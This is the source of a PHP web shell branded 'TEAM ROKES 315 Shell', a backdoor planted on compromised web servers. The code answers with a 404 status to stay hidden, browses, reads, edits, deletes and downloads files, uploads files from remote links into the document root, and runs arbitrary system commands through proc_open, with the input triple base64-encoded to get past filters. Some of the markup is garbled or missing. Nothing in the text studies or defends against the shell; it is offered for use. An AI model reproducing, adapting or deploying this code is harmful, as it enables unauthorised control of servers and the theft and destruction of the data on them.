<!DOCTYPE html>


TEAM ROKES 315 Shell <title>TEAM ROKES 315 Shell</title>
<meta name="author" content="Rixxx">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="description" content="Crushed Is Batter Than Fixing">
<meta property="og:description" content="Crushed Is Batter Than Fixing">
<meta property="og:image" content="https://k.top4top.io/p_2272c9um50.jpg">
<meta name="robots" content="noindex">
<meta name="googlebot" content="noindex">
<meta name="theme-color" content="#1f1f1f">

<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
@import url('https://fonts.googleapis.com/css?family=Dosis');
@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
font-family: "Dosis", cursive;
text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
width: 12px;
}

body::-webkit-scrollbar-track {
background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
background-color: #1f1f1f;
border: 3px solid gray;
}

#content tr:hover {
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}

#content .first {
background-color: #25383C;
}

#content .first:hover {
background-color: #25383C
text-shadow:0px 0px 1px #757575;
}

table {
border: 1px #000000 dotted;
table-layout: fixed;
word-break: break-all;
}

textarea {
max-width: 95%;
max-height: 100%;
resize: none;
outline: none;
overflow: auto;
background: transparent;
color: #fff;
}

textarea::-webkit-scrollbar {
width: 12px;
}

textarea::-webkit-scrollbar-track {
background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
background-color: #1f1f1f;
border: 3px solid gray;
}

a {
color: #ffffff;
text-decoration: none;
}

a:hover {
color: gold;
text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}

.gas {
background-color: #1f1f1f;
color: #ffffff;
cursor: pointer;
}

select {
background-color: transparent;
color: #ffffff;
}

select:after {
cursor: pointer;
}

.linka {
background-color: transparent;
color: #ffffff;
}

.up {
background-color: transparent;
color: #fff;
}

option {
background-color: #1f1f1f;
}

::-webkit-file-upload-button {
background: transparent;
color: #fff;
border-color: #fff;
cursor: pointer;
}
</style>
<script>
function setfilename(val)
{
filename = val.split('\\').pop().split('/').pop();
//filename = filename.substring(0, filename.lastIndexOf('.'));
document.getElementById('namanya').value = filename;
}

async function loadFile(file) {
let text = await file.text();
document.getElementById("bepasdata").innerHTML = text;
}
</script>

<font face="Bungee" size="5">TEAM ROKES 315 Shell</font>

<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">


@set_time_limit(0);
@error_reporting(0);
@http_response_code(404);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
$disf = "<font color='gold'>NONE</font>";
} else {
$disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
echo "

TEAM ROKES 315 - 2022
";
exit();
}

function cekdir() {
if (isset($_GET['path'])) {
$lokasi = $_GET['path'];
} else {
$lokasi = getcwd();
}
if (is_writable($lokasi)) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}

function cekroot() {
if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}

function xrmdir($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
if (is_dir($path)) {
xrmdir($path);
} else {
unlink($path);
}
}
rmdir($dir);
}

function dunlut($file) {
if (!is_readable($file)) {
red("Cannot Download File / Unreadable File !");
die();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
flush();
readfile($file);
die();
}

function owner($file) {
if (function_exists("posix_getpwuid")) {
$tod = @posix_getpwuid(fileowner($file));
return "
".$tod['name']."
";
} else {
return "
".fileowner($file)."
";
}
}

function cekwrite($lokasi) {
$izin = substr(sprintf('%o', fileperms($lokasi)), -4);
if (is_writable($lokasi)) {
return "<font color=green>".$izin."</font>";
} else {
return "<font color=red>".$izin."</font>";
}
}

function ekse($komend, $lokasi) {
if (!function_exists("proc_open")) {
die("proc_open function disabled !");
} elseif (!function_exists("base64_decode")) {
die("base64_decode function disabled !");
}
$komen = base64_decode(base64_decode(base64_decode($komend)));
$tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
echo "<textarea rows='25' cols='100'>".htmlspecialchars(stream_get_contents($pipes[1]))."</textarea>

";
}

function ipserv() {
if (empty($_SERVER['SERVER_ADDR'])) {
return gethostbyname($_SERVER['SERVER_NAME']);
if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
return $_SERVER['SERVER_NAME'];
}
} else {
return $_SERVER['SERVER_ADDR'];
}
}

function cekfile($file) {
return '<i class="fa fa-file" style="color: #d6d4ce"></i> ';
}

function filedate($file) {
return date("F d Y g:i:s", filemtime($file));
}

function unzip($file, $lokasi) {
if (!is_readable($file)) {
red("Cannot Unzip File / Unreadable File !");
die();
} elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) {
red("This isn't Zip File !");
die();
}
$zip = new ZipArchive;
$res = $zip -> open($file);
if ($res == true) {
$zip -> extractTo($lokasi);
$zip -> close();
green("Success Unzip File !");
} else {
red("Failed to Unzip File !");
}
}

function green($text) {
echo "
<font color='green'>".$text."
</font>";
}

function red($text) {
echo "
<font color='red'>".$text."
</font>";
}

echo "Server IP : <font color=gold>".ipserv()."</font> &nbsp;/&nbsp; Your IP : <font color=gold>".$_SERVER['REMOTE_ADDR']."</font>
";
echo "Web Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font>
";
echo "System : <font color='gold'>".Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64."</font>
";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)
";
echo "PHP Version : <font color='gold'>".@phpversion()."</font>
";
echo "Disable Function : ".$disf."</font>
";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}

foreach($_POST as $key => $value){
$_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
$lokasi = $_GET['path'];
$lokdua = $_GET['path'];
} else {
$lokasi = getcwd();
$lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

echo "
Directory (".cekwrite($lokasi).") : &nbsp;";

foreach($lokasis as $id => $lok){
if($lok == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($lok == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$lokasis[$i]";
if($i != $id) echo "/";
}
echo '">'.$lok.'</a>/';
}

echo '';
if (isset($_POST['upwkwk'])) {
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
if (isset($_POST['berkasnya'])) {
$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font>

";
} else {
echo "<font color='red'>Failed to Upload !

";
}
} elseif (isset($_POST['linknya'])) {
if (empty($_POST['namalink'])) {
exit("Filename cannot be empty !");
}
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
if (file_exists($lokasi."/".$_POST['namalink'])) {
echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font>

";
} else {
echo "<font coloe='red'>Failed to Upload !

";
}
} elseif (isset($_POST['bepas'])) {
$bepasdata = $_POST['bepasdata'];
$bepasnama = $_POST['bepasnama'];
if ($bepasdata) {
echo "string";
}
@file_put_contents($lokasi."/".$bepasnama, $bepasdata);
if (file_exists($lokasi."/".$bepasnama)) {
echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$bepasnama."</i></font>

";
} else {
echo "<font coloe='red'>Failed to Upload !

";
}
}
}

echo "
";
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">';
echo '<th>[ &nbsp;<a href="'.$_SERVER['SCRIPT_NAME'].'">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo "
";

if (isset($_GET['fileloc'])) {
echo "Current File : ".$_GET['fileloc'];
echo '<br/>';
echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
if (is_dir($_POST['path'])) {
xrmdir($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to delete Directory !");
} else {
green("Delete Directory Success !");
}
} elseif (is_file($_POST['path'])) {
@unlink($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to Delete File !");
} else {
green("Delete File <i>".basename($_POST['path'])."</i> Success !");
}
}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
if (isset($_POST['gantin'])) {
$ren = @rename($_POST['path'], $_POST['newname']);
if ($ren == true) {
green("Change Name Success !");
} else {
red("Change Name Failed !");
}
}
if (empty($_POST['name'])) {
$namaawal = $_POST['newname'];
} else {
$namawal = $_POST['name'];
}
echo "
".$_POST['path']."
";
echo '

New Name :



';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
if (isset($_POST['gasedit'])) {
$edit = @file_put_contents($_POST['path'], $_POST['src']);
if ($edit == true) {
green("Edit File Success !");
} else {
red("Edit File Failed !");
}
}
echo "
".$_POST['path']."

";
echo '

<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea>





';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
unzip($_POST['path'], $lokasi);
} elseif ($_REQUEST['upload'] == "gaskan") {
echo "
Upload File : ";
echo '

current_dir [ '.cekdir().' ]
document_root [ '.cekroot().' ]






Upload File From Link :

&nbsp;


403 Upload File



<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>



';
} elseif ($_GET['komend'] == "gaskan") {
echo "
";
echo '

'.@get_current_user().'@'.ipserv().':~ $
> " class="up" style="cursor: pointer; border-color: #fff">

';
if (isset($_POST['eksekomend'])) {
ekse($_POST['komend'], $lokasi);
}
echo "
";
}

if (!is_readable($lokasi)) {
die("
This directory is unreadable :(
");
}

echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
Name

Size

Last Modified

Owner

Permissions

Options

';

foreach($lokasinya as $dir){
if(!is_dir($lokasi."/".$dir) || $dir == '.') continue;
echo "
<i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a>
--

".filedate($lokasi."/".$dir)."

".owner($lokasi."/".$dir)."
";
if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
echo statusnya($lokasi."/".$dir);
if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

echo "


<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"gantinama\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
<input type=\"submit\" class=\"gas\" value=\">\" />

";
}

echo '<tr class="first">';
foreach($lokasinya as $file) {
if(!is_file("$lokasi/$file")) continue;
$size = filesize("$lokasi/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
} else {
$size = $size.' KB';
}

echo "
".cekfile($lokasi."/".$file)."<a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a>
".$size."

".filedate($lokasi."/".$file)."

".owner($lokasi."/".$file)."
";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "


<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"dunlut\">Download</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>";
if (class_exists("ZipArchive")) {
echo "<option value=\"unzip\">Unzip</option>";
}
echo "</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />

";
}
echo '';
author();

function statusnya($file){
$izin = substr(sprintf('%o', fileperms($file)), -4);
return $izin;
}